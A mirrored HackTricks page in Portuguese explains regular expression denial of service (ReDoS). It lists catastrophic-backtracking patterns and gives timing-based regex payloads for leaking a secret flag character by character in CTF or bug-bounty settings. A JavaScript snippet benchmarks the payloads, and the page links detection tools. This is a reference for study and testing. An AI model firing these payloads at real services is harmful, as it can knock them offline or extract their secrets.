mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 02:53:28 +00:00
106 lines
6.5 KiB
Markdown
106 lines
6.5 KiB
Markdown
|
# Regular expression Denial of Service - ReDoS
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
# Regular Expression Denial of Service (ReDoS)
|
||
|
|
||
|
Uma **Negação de Serviço por Expressão Regular (ReDoS)** acontece quando alguém se aproveita das fraquezas em como as expressões regulares (uma forma de buscar e combinar padrões em texto) funcionam. Às vezes, quando as expressões regulares são usadas, elas podem se tornar muito lentas, especialmente se o trecho de texto com o qual estão trabalhando ficar maior. Essa lentidão pode crescer tanto que se torna realmente rápida com até mesmo pequenos aumentos no tamanho do texto. Os atacantes podem usar esse problema para fazer um programa que usa expressões regulares parar de funcionar corretamente por um longo tempo.
|
||
|
|
||
|
## O Algoritmo Ingênuo Problemático de Regex
|
||
|
|
||
|
**Verifique os detalhes em [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
||
|
|
||
|
## Regexes Malignos <a href="#evil-regexes" id="evil-regexes"></a>
|
||
|
|
||
|
Um padrão de expressão regular maligno é aquele que pode **ficar preso em uma entrada elaborada causando um DoS**. Padrões de regex malignos geralmente contêm agrupamento com repetição e repetição ou alternância com sobreposição dentro do grupo repetido. Alguns exemplos de padrões malignos incluem:
|
||
|
|
||
|
* (a+)+
|
||
|
* ([a-zA-Z]+)*
|
||
|
* (a|aa)+
|
||
|
* (a|a?)+
|
||
|
* (.*a){x} para x > 10
|
||
|
|
||
|
Todos esses são vulneráveis à entrada `aaaaaaaaaaaaaaaaaaaaaaaa!`.
|
||
|
|
||
|
## Payloads de ReDoS
|
||
|
|
||
|
### Exfiltração de String via ReDoS
|
||
|
|
||
|
Em um CTF (ou bug bounty), talvez você **controle a Regex com a qual uma informação sensível (a bandeira) é combinada**. Então, pode ser útil fazer a **página travar (timeout ou tempo de processamento mais longo)** se a **Regex combinar** e **não se não combinar**. Dessa forma, você poderá **exfiltrar** a string **caractere por caractere**:
|
||
|
|
||
|
* Em [**este post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) você pode encontrar esta regra de ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
||
|
* Exemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||
|
* Em [**este writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) você pode encontrar este: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
||
|
* Em [**este writeup**](https://ctftime.org/writeup/25869) ele usou: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||
|
|
||
|
### Controle de Entrada e Regex de ReDoS
|
||
|
|
||
|
Os seguintes são exemplos de **ReDoS** onde você **controla** tanto a **entrada** quanto a **regex**:
|
||
|
```javascript
|
||
|
function check_time_regexp(regexp, text){
|
||
|
var t0 = new Date().getTime();;
|
||
|
new RegExp(regexp).test(text);
|
||
|
var t1 = new Date().getTime();;
|
||
|
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
||
|
}
|
||
|
|
||
|
// This payloads work because the input has several "a"s
|
||
|
[
|
||
|
// "((a+)+)+$", //Eternal,
|
||
|
// "(a?){100}$", //Eternal
|
||
|
"(a|a?)+$",
|
||
|
"(\\w*)+$", //Generic
|
||
|
"(a*)+$",
|
||
|
"(.*a){100}$",
|
||
|
"([a-zA-Z]+)*$", //Generic
|
||
|
"(a+)*$",
|
||
|
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
||
|
|
||
|
/*
|
||
|
Regexp (a|a?)+$ took 5076 milliseconds.
|
||
|
Regexp (\w*)+$ took 3198 milliseconds.
|
||
|
Regexp (a*)+$ took 3281 milliseconds.
|
||
|
Regexp (.*a){100}$ took 1436 milliseconds.
|
||
|
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
|
||
|
Regexp (a+)*$ took 723 milliseconds.
|
||
|
*/
|
||
|
```
|
||
|
## Ferramentas
|
||
|
|
||
|
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
||
|
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
||
|
|
||
|
## Referências
|
||
|
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||
|
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
||
|
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
|
||
|
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|